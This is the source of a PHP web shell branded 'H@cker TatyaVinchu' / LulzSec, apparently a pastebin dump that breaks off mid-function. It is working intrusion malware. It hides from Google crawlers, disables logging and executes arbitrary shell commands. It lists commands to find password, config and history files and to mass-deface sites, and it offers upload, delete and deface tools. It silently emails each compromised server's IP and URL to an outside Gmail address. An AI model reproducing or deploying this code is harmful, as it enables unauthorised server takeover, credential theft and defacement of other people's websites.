· 8 years ago · Apr 18, 2018, 07:22 AM
1<?php
2$auth_pass = "82dd088fc33d367ef9eb1a46dd7edbcb";
3
4
5$color = "#56A3E9";
6$default_action = 'FilesMan';
7@define('SELF_PATH', __FILE__);
8if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
9 header('HTTP/1.0 404 Not Found');
10 exit;
11}
12@session_start();
13@error_reporting(0);
14@ini_set('error_log',NULL);
15@ini_set('display_errors',0);
16@ini_set('log_errors',0);
17@ini_set('max_execution_time',0);
18@set_time_limit(0);
19@set_magic_quotes_runtime(0);
20@define('VERSION', 'Ver 3.0');
21if( get_magic_quotes_gpc() ) {
22 function stripslashes_array($array) {
23 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
24 }
25 $_POST = stripslashes_array($_POST);
26}
27function printLogin() {
28 echo '<title> H@cker TatyaVinchu 1337</title>
29<audio loop autoplay><source src=".mp3" type="audio/mpeg"></audio>
30<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
31<style>
32@import url(http://fonts.googleapis.com/css?family=Open+Sans:5);
33.text {
34fill: none;
35stroke-width: 2;
36stroke-linejoin: round;
37stroke-dasharray: 100 330;
38stroke-dashoffset: 0;
39-webkit-animation: stroke 6s infinite linear;
40animation: stroke 6s infinite linear;
41}
42.text:nth-child(5n + 1) {
43stroke: #F2385A;
44-webkit-animation-delay: -1.2s;
45animation-delay: -1.2s;
46}
47.text:nth-child(5n + 2) {
48stroke: #F5A503;
49-webkit-animation-delay: -2.4s;
50animation-delay: -2.4s;
51}
52.text:nth-child(5n + 3) {
53stroke: #E9F1DF;
54-webkit-animation-delay: -3.6s;
55animation-delay: -3.6s;
56}
57.text:nth-child(5n + 4) {
58stroke: #56D9CD;
59-webkit-animation-delay: -4.8s;
60animation-delay: -4.8s;
61}
62.text:nth-child(5n + 5) {
63stroke: #3AA1BF;
64-webkit-animation-delay: -6s;
65animation-delay: -6s;
66}
67@-webkit-keyframes stroke {
68100% {
69stroke-dashoffset: -400;
70}
71}
72@keyframes stroke {
73100% {
74stroke-dashoffset: -400;
75}
76}
77html, body {
78}
79body {
80background-color: black;
81font: 5.1em/1 Open Sans, Impact;
82text-transform: uppercase;
83}
84</style>
85</head>
86<body>
87<svg viewBox="0 0 1000 300">
88<symbol id="s-text">
89<text text-anchor="middle" x="50%" y="20%" dy=".5em">
90Hindustan Zindabad
91</text>
92<text text-anchor="middle" x="50%" y="80%" dy=".5em">
93B@d Boys
94</text>
95<text text-anchor="middle" x="50%" y="50%" dy=".5em">
96H@cker TatyaVinchu 1337
97</text>
98</symbol>
99<use xlink:href="#s-text" class="text"
100></use>
101<use xlink:href="#s-text" class="text"
102></use>
103<use xlink:href="#s-text" class="text"
104></use>
105<use xlink:href="#s-text" class="text"
106></use>
107<use xlink:href="#s-text" class="text"
108></use>
109<style>input { margin:5;background-color:#000;border:none;color:#0000; cursor:arrow; }</style>
110 <center><form method=post><input type=password name=pass></form>';
111 exit;
112}
113if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
114 if( empty( $auth_pass ) ||
115 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
116 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
117 else
118 printLogin();
119if( strtolower( substr(PHP_OS,0,3) ) == "win" )
120 $os = 'win';
121else
122 $os = 'nix';
123$safe_mode = @ini_get('safe_mode');
124$disable_functions = @ini_get('disable_functions');
125$home_cwd = @getcwd();
126if( isset( $_POST['c'] ) )
127 @chdir($_POST['c']);
128$cwd = @getcwd();
129if( $os == 'win') {
130 $home_cwd = str_replace("\\", "/", $home_cwd);
131 $cwd = str_replace("\\", "/", $cwd);
132}
133if( $cwd[strlen($cwd)-1] != '/' )
134 $cwd .= '/';
135if($os == 'win') {
136 $aliases = array(
137 "Mass Deface" => 'for /r "%cd%" %i in (.) do @copy "%cd%\PHOENIX.html" "%i"',
138 "Find index.php in current dir" => "dir /s /w /b index.php",
139 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
140 "Show active connections" => "netstat -an",
141 "Show running services" => "net start",
142 "User accounts" => "net user",
143 "Show computers" => "net view",
144 "ARP Table" => "arp -a",
145 "IP Configuration" => "ipconfig /all"
146 );
147} else {
148 $aliases = array(
149 "List dir" => "ls -la",
150 "list file attributes on a Linux second extended file system" => "lsattr -va",
151 "show opened ports" => "netstat -an | grep -i listen",
152 "Find" => "",
153 "find all suid files" => "find / -type f -perm -04000 -ls",
154 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
155 "find all sgid files" => "find / -type f -perm -02000 -ls",
156 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
157 "find config.inc.php files" => "find / -type f -name config.inc.php",
158 "find config* files" => "find / -type f -name \"config*\"",
159 "find config* files in current dir" => "find . -type f -name \"config*\"",
160 "find all writable folders and files" => "find / -perm -2 -ls",
161 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
162 "find all service.pwd files" => "find / -type f -name service.pwd",
163 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
164 "find all .htpasswd files" => "find / -type f -name .htpasswd",
165 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
166 "find all .bash_history files" => "find / -type f -name .bash_history",
167 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
168 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
169 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
170 "Locate" => "",
171 "locate httpd.conf files" => "locate httpd.conf",
172 "locate vhosts.conf files" => "locate vhosts.conf",
173 "locate proftpd.conf files" => "locate proftpd.conf",
174 "locate psybnc.conf files" => "locate psybnc.conf",
175 "locate my.conf files" => "locate my.conf",
176 "locate admin.php files" =>"locate admin.php",
177 "locate cfg.php files" => "locate cfg.php",
178 "locate conf.php files" => "locate conf.php",
179 "locate config.dat files" => "locate config.dat",
180 "locate config.php files" => "locate config.php",
181 "locate config.inc files" => "locate config.inc",
182 "locate config.inc.php" => "locate config.inc.php",
183 "locate config.default.php files" => "locate config.default.php",
184 "locate config* files " => "locate config",
185 "locate .conf files"=>"locate '.conf'",
186 "locate .pwd files" => "locate '.pwd'",
187 "locate .sql files" => "locate '.sql'",
188 "locate .htpasswd files" => "locate '.htpasswd'",
189 "locate .bash_history files" => "locate '.bash_history'",
190 "locate .mysql_history files" => "locate '.mysql_history'",
191 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
192 "locate backup files" => "locate backup",
193 "locate dump files" => "locate dump",
194 "locate priv files" => "locate priv"
195 );
196}
197function ex($in) {
198 $out = '';
199 if(function_exists('exec')) {
200 @exec($in,$out);
201 $out = @join("\n",$out);
202 }elseif(function_exists('passthru')) {
203 ob_start();
204 @passthru($in);
205 $out = ob_get_clean();
206 }elseif(function_exists('system')) {
207 ob_start();
208 @system($in);
209 $out = ob_get_clean();
210 }elseif(function_exists('shell_exec')) {
211 $out = shell_exec($in);
212 }elseif(is_resource($f = @popen($in,"r"))) {
213 $out = "";
214 while(!@feof($f))
215 $out .= fread($f,1024);
216 pclose($f);
217 }
218 return $out;
219}
220function which($p) {
221 $path = ex('which '.$p);
222 if(!empty($path))
223 return $path;
224 return false;
225}
226function printHeader() {
227 if(empty($_POST['charset']))
228 $_POST['charset'] = "UTF-8";
229 global $color;
230 echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title> H@cker TatyaVinchu 1337 '.VERSION.'</title>
231 <style>
232 body {background:url(http://store.picbg.net/pubpic/92/39/36c9def2012c9239.jpg);color:#FFBB00;}
233 body,td,th { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
234 span,h1,a { color:'.$color.' !important; }
235 span { font-weight: bolder; }
236 h1 { padding: 2px 5px;font: 14pt Verdana;margin:0px 0 0 5px; }
237 div.content { padding: 5px;margin:0 5px;background: #000000;border-bottom:1px #56A3E9;}
238 a { text-decoration:none; }
239 a:hover { /*background:aqua;*/ }
240 .ml1 { border:1px #56A3E9;padding:5px;margin:0;overflow: auto; }
241 .bigarea { width:100%;height:250px;margin-top:5px;}
242 input, textarea, select { margin:0;color:aqua;background-color:#000000;border:1px solid '.$color.'; font: 9pt Monospace,"Courier New"; }
243 input[type="button"]:hover,input[type="submit"]:hover {background-color:'.$color.';color:#000;}
244 form { margin:0px; }
245 #toolsTbl { text-align:center; }
246 .toolsInp { width: 80%; }
247 .main th {text-align:left;background-color:#000000;font-weight: bold;}
248 .main tr:hover{background-color:#5e5e5e;}
249 .main td, th{vertical-align:middle;}
250 .menu {background: #000;}
251 .menu th{padding:5px;font-weight:bold;}
252 .menu th:hover{background:#444;}
253 .l1 {background-color:#000}
254 pre {font-family:Courier,Monospace;}
255 #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
256 .logo {text-align:center;font-size:60px;}
257 .logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
258 .cpr {margin-bottom:5px;font-weight:bold;}
259 .cpb {width:34px;margin:0 5px;}
260 .eca1 {font-size: 16px;font-weight: bold;letter-spacing: 10px;margin: 0 2px 0 17px;text-align: center;}
261 .eca2 {font-size: 13px;font-weight: bold;letter-spacing: 3px;margin: 0 2px 0 7px;text-align: center;}
262 .npoad td {padding:0;}
263 </style>
264 <script>
265 function set(a,c,p1,p2,p3,charset) {
266 if(a != null)document.mf.a.value=a;
267 if(c != null)document.mf.c.value=c;
268 if(p1 != null)document.mf.p1.value=p1;
269 if(p2 != null)document.mf.p2.value=p2;
270 if(p3 != null)document.mf.p3.value=p3;
271 if(charset != null)document.mf.charset.value=charset;
272 }
273 function g(a,c,p1,p2,p3,charset) {
274 set(a,c,p1,p2,p3,charset);
275 document.mf.submit();
276 }
277 function a(a,c,p1,p2,p3,charset) {
278 set(a,c,p1,p2,p3,charset);
279 var params = "ajax=true";
280 for(i=0;i<document.mf.elements.length;i++)
281 params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
282 sr("'.$_SERVER['REQUEST_URI'].'", params);
283 }
284 function sr(url, params) {
285 if (window.XMLHttpRequest) {
286 req = new XMLHttpRequest();
287 req.onreadystatechange = processReqChange;
288 req.open("POST", url, true);
289 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
290 req.send(params);
291 }
292 else if (window.ActiveXObject) {
293 req = new ActiveXObject("Microsoft.XMLHTTP");
294 if (req) {
295 req.onreadystatechange = processReqChange;
296 req.open("POST", url, true);
297 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
298 req.send(params);
299 }
300 }
301 }
302 function processReqChange() {
303 if( (req.readyState == 4) )
304 if(req.status == 200) {
305 //alert(req.responseText);
306 var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
307 var arr=reg.exec(req.responseText);
308 eval(arr[2].substr(0, arr[1]));
309 }
310 else alert("Request error!");
311 }
312 </script>
313 <head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:1px;background:#000;"><div class="content" style="border-top:1px #56A3E9;">
314 <form method=post name=mf style="display:none;">
315 <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
316 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
317 <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
318 <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
319 <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
320 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
321 </form>';
322 $freeSpace = @diskfreespace($GLOBALS['cwd']);
323 $totalSpace = @disk_total_space($GLOBALS['cwd']);
324 $totalSpace = $totalSpace?$totalSpace:1;
325 $disable_functions = @ini_get('disable_functions');
326 $release = @php_uname('r');
327 $kernel = @php_uname('s');
328 if(!function_exists('posix_getegid')) {
329 $user = @get_current_user();
330 $uid = @getmyuid();
331 $gid = @getmygid();
332 $group = "?";
333 } else {
334 $uid = @posix_getpwuid(@posix_geteuid());
335 $gid = @posix_getgrgid(@posix_getegid());
336 $user = $uid['name'];
337 $uid = $uid['uid'];
338 $group = $gid['name'];
339 $gid = $gid['gid'];
340 }
341 $cwd_links = '';
342 $path = explode("/", $GLOBALS['cwd']);
343 $n=count($path);
344 for($i=0;$i<$n-1;$i++) {
345 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
346 for($j=0;$j<=$i;$j++)
347 $cwd_links .= $path[$j].'/';
348 $cwd_links .= "\")'>".$path[$i]."/</a>";
349 }
350 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
351 $opt_charsets = '';
352 foreach($charsets as $item)
353 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
354 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Exec'=>'Console','Shared Hostings'=>'Shared','Grab Configs'=>'ConfigGrabber','Safe Mode'=>'Bypass','Sql'=>'Sql','Subdomain'=>'Subdomain','Mass Defacer'=>'Deface','Recursive Defacer'=>'Defacer','String tools'=>'StringTools','Jumping'=>'Jumping','Connect'=>'Network','Port Scanner'=>'PortScanner','Symlink'=>'Symlink','Domain' => 'Domain');
355 if(!empty($GLOBALS['auth_pass']))
356 $m['Logout'] = 'Logout';
357 $m['Kill'] = 'SelfRemove';
358 $menu = '';
359 foreach($m as $k => $v)
360 $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
361 $drives = "";
362 if ($GLOBALS['os'] == 'win') {
363 foreach( range('a','z') as $drive ){
364 if (is_dir($drive.':\\'))
365 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
366 }
367 $drives .= '<br />: ';
368 }
369 if($GLOBALS['os'] == 'nix') {
370 $dominios = @file_get_contents("/etc/named.conf");
371 if(!$dominios) {
372 $d0c = "CANT READ named.conf";
373 } else {
374 @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
375 $out = sizeof(array_unique($out[1]));
376 $d0c = $out." Domains";
377 }
378 } else {
379 $d0c = " --- ";
380 }
381 if($GLOBALS['os'] == 'nix' )
382 {
383 $usefl = ''; $dwnldr = '';
384 if(!@ini_get('safe_mode')) {
385 $temp = array();
386 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
387 foreach($userful as $item) { if(which($item)) $temp[]= $item; }
388 $usefl = implode(', ',$temp);
389 $temp = array();
390 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
391 foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
392 $dwnldr = implode(', ',$temp);
393 } else {
394 $usefl = ' ------- '; $dwnldr = ' ------- ';
395 }
396 } else {
397 $usefl = ' ------- '; $dwnldr = ' ------- ';
398 }
399
400 echo '<table class="info" cellpadding="0" cellspacing="0" width="100%" bgcolor="black"><tr><td width="160px"><img src="https://upload.wikimedia.org/wikipedia/en/thumb/7/7c/Lulz_Security.svg/903px-Lulz_Security.svg.png" height="100" width="100"><sup>®</sup></div></td>
401 <td><table cellpadding="0" cellspacing="0" class="npoad"><tr><td width="125px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).'</nobr></td></tr>
402 <tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>Disabled functions</span></td><td>: '.($disable_functions?$disable_functions:'All Function Enable').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
403 '<td width=1><nobr><span>Server IP</span><br><span>Client IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
404 '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table>'.
405 '</div></div><div style="margin:1;background #000;"><div class="content" style="border-top:1px #56A3E9;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'</tr></table></div></div><div style="margin:1;background:#000;">';
406}
407function printFooter() {
408 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=aqua>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
409echo '</div><div style="margin:1px;background:#000;"><div class="content" style="border-top:1px #56A3E9;">
410<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
411 <tr>
412 <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
413 <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
414 </tr>
415 <tr>
416 <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
417 <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
418 </tr>
419 <tr>
420 <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
421 <td><form method="post" ENCTYPE="multipart/form-data">
422 <input type=hidden name=a value="FilesMAn">
423 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
424 <input type=hidden name=p1 value="uploadFile">
425 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
426 <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
427 </tr>
428</table></div></div>
429<div style="margin:5px;background:#000;"><div class="content" style="border-top:1px #56A3E9;text-align:center;font-weight:bold;"><font color="#2052ff"> H@cker TatyaVinchu Shell '.VERSION.'<br>WE ARE: <marquee width="50%"> B@d Boys </marquee></font></div></div>
430</div>
431</body></html>';
432}
433if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
434if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
435
436if(!isset($_SESSION['trimite'])){
437 $url="<b> IP: </b> ".gethostbyname($_SERVER["HTTP_HOST"])."\
438<b> Url: </b> ".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."\
439<b> User IP: </b> ".$_SERVER['REMOTE_ADDR'].(isset($_SERVER['HTTP_X_FORWARDED_FOR'])?'('.$_SERVER['HTTP_X_FORWARDED_FOR'].')':'');
440 @mail("popanda1337@gmail.com","LulzSec v 3.0",$url);
441 $_SESSION['trimite']=true;
442
443}
444function viewSize($s) {
445 if($s >= 1073741824)
446 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
447 elseif($s >= 1048576)
448 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
449 elseif($s >= 1024)
450 return sprintf('%1.2f', $s / 1024 ) . ' KB';
451 else
452 return $s . ' B';
453}
454function perms($p) {
455 if (($p & 0xC000) == 0xC000)$i = 's';
456 elseif (($p & 0xA000) == 0xA000)$i = 'l';
457 elseif (($p & 0x8000) == 0x8000)$i = '-';
458 elseif (($p & 0x6000) == 0x6000)$i = 'b';
459 elseif (($p & 0x4000) == 0x4000)$i = 'd';
460 elseif (($p & 0x2000) == 0x2000)$i = 'c';
461 elseif (($p & 0x1000) == 0x1000)$i = 'p';
462 else $i = 'u';
463 $i .= (($p & 0x0100) ? 'r' : '-');
464 $i .= (($p & 0x0080) ? 'w' : '-');
465 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
466 $i .= (($p & 0x0020) ? 'r' : '-');
467 $i .= (($p & 0x0010) ? 'w' : '-');
468 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
469 $i .= (($p & 0x0004) ? 'r' : '-');
470 $i .= (($p & 0x0002) ? 'w' : '-');
471 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
472 return $i;
473}
474function viewPermsColor($f) {
475 if (!@is_readable($f))
476 return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
477 elseif (!@is_writable($f))
478 return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
479 else
480 return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
481}
482if(!function_exists("scandir")) {
483 function scandir($dir) {
484 $dh = opendir($dir);
485 while (false !== ($filename = readdir($dh))) {
486 $files[] = $filename;
487 }
488 return $files;
489 }
490}
491function actionSecInfo() {
492 printHeader();
493 echo '<h1>Server security information</h1><div class=content>';
494 function showSecParam($n, $v) {
495 $v = trim($v);
496 if($v) {
497 echo '<span>'.$n.': </span>';
498 if(strpos($v, "\n") === false)
499 echo $v.'<br>';
500 else
501 echo '<pre class=ml1>'.$v.'</pre>';
502 }
503 }
504 showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
505 showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
506 showSecParam('Open base dir', @ini_get('open_basedir'));
507 showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
508 showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
509 showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
510 $temp=array();
511 if(function_exists('mysql_get_client_info'))
512 $temp[] = "MySql (".mysql_get_client_info().")";
513 if(function_exists('mssql_connect'))
514 $temp[] = "MSSQL";
515 if(function_exists('pg_connect'))
516 $temp[] = "PostgreSQL";
517 if(function_exists('oci_connect'))
518 $temp[] = "Oracle";
519 showSecParam('Supported databases', implode(', ', $temp));
520 echo '<br>';
521 if( $GLOBALS['os'] == 'nix' ) {
522 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
523 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
524 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
525 showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
526 showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
527 showSecParam('OS version', @file_get_contents('/proc/version'));
528 showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
529 if(!$GLOBALS['safe_mode']) {
530 echo '<br>';
531 $temp=array();
532 foreach ($userful as $item)
533 if(which($item)){$temp[]=$item;}
534 showSecParam('Userful', implode(', ',$temp));
535 $temp=array();
536 foreach ($danger as $item)
537 if(which($item)){$temp[]=$item;}
538 showSecParam('Danger', implode(', ',$temp));
539 $temp=array();
540 foreach ($downloaders as $item)
541 if(which($item)){$temp[]=$item;}
542 showSecParam('Downloaders', implode(', ',$temp));
543 echo '<br/>';
544 showSecParam('Hosts', @file_get_contents('/etc/hosts'));
545 showSecParam('HDD space', ex('df -h'));
546 showSecParam('Mount options', @file_get_contents('/etc/fstab'));
547 }
548 } else {
549 showSecParam('OS Version',ex('ver'));
550 showSecParam('Account Settings',ex('net accounts'));
551 showSecParam('User Accounts',ex('net user'));
552 }
553 echo '</div>';
554 printFooter();
555}
556function actionFilesMan() {
557 printHeader();
558 echo '<h1>File manager</h1><div class=content>';
559 if(isset($_POST['p1']) && $_POST['p1']!='deface') {
560 switch($_POST['p1']) {
561 case 'uploadFile':
562 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
563 echo "Can't upload file!";
564 break;
565 break;
566 case 'mkdir':
567 if(!@mkdir($_POST['p2']))
568 echo "Can't create new dir";
569 break;
570 case 'delete':
571 function deleteDir($path) {
572 $path = (substr($path,-1)=='/') ? $path:$path.'/';
573 $dh = opendir($path);
574 while ( ($item = readdir($dh) ) !== false) {
575 $item = $path.$item;
576 if ( (basename($item) == "..") || (basename($item) == ".") )
577 continue;
578 $type = filetype($item);
579 if ($type == "dir")
580 deleteDir($item);
581 else
582 @unlink($item);
583 }
584 closedir($dh);
585 rmdir($path);
586 }
587 if(is_array(@$_POST['f']))
588 foreach($_POST['f'] as $f) {
589 $f = urldecode($f);
590 if(is_dir($f))
591 deleteDir($f);
592 else
593 @unlink($f);
594 }
595 break;
596 case 'paste':
597 if($_SESSION['act'] == 'copy') {
598 function copy_paste($c,$s,$d){
599 if(is_dir($c.$s)){
600 mkdir($d.$s);
601 $h = opendir($c.$s);
602 while (($f = readdir($h)) !== false)
603 if (($f != ".") and ($f != "..")) {
604 copy_paste($c.$s.'/',$f, $d.$s.'/');
605 }
606 } elseif(is_file($c.$s)) {
607 @copy($c.$s, $d.$s);
608 }
609 }
610 foreach($_SESSION['f'] as $f)
611 copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
612 } elseif($_SESSION['act'] == 'move') {
613 function move_paste($c,$s,$d){
614 if(is_dir($c.$s)){
615 mkdir($d.$s);
616 $h = opendir($c.$s);
617 while (($f = readdir($h)) !== false)
618 if (($f != ".") and ($f != "..")) {
619 copy_paste($c.$s.'/',$f, $d.$s.'/');
620 }
621 } elseif(is_file($c.$s)) {
622 @copy($c.$s, $d.$s);
623 }
624 }
625 foreach($_SESSION['f'] as $f)
626 @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
627 }
628 unset($_SESSION['f']);
629 break;
630 default:
631 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
632 $_SESSION['act'] = @$_POST['p1'];
633 $_SESSION['f'] = @$_POST['f'];
634 foreach($_SESSION['f'] as $k => $f)
635 $_SESSION['f'][$k] = urldecode($f);
636 $_SESSION['cwd'] = @$_POST['c'];
637 }
638 break;
639 }
640 echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
641 }
642 if(isset($_POST['p1']) && $_POST['p1']=='deface') {
643 $def = file_get_contents(''); //DEFACE LINK HERE
644 file_put_contents($_POST['c'].$_POST['p2'],$def);
645 }
646 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
647 if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
648 global $sort;
649 $sort = array('name', 1);
650 if(!empty($_POST['p1'])) {
651 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
652 $sort = array($match[1], (int)$match[2]);
653 }
654 echo '<script>
655 function sa() {
656 for(i=0;i<document.files.elements.length;i++)
657 if(document.files.elements[i].type == \'checkbox\')
658 document.files.elements[i].checked = document.files.elements[0].checked;
659 }
660 </script>
661 <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
662 <form name=files method=post>';
663 echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
664 $dirs = $files = $links = array();
665 $n = count($dirContent);
666 for($i=0;$i<$n;$i++) {
667 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
668 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
669 $tmp = array('name' => $dirContent[$i],
670 'path' => $GLOBALS['cwd'].$dirContent[$i],
671 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
672 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
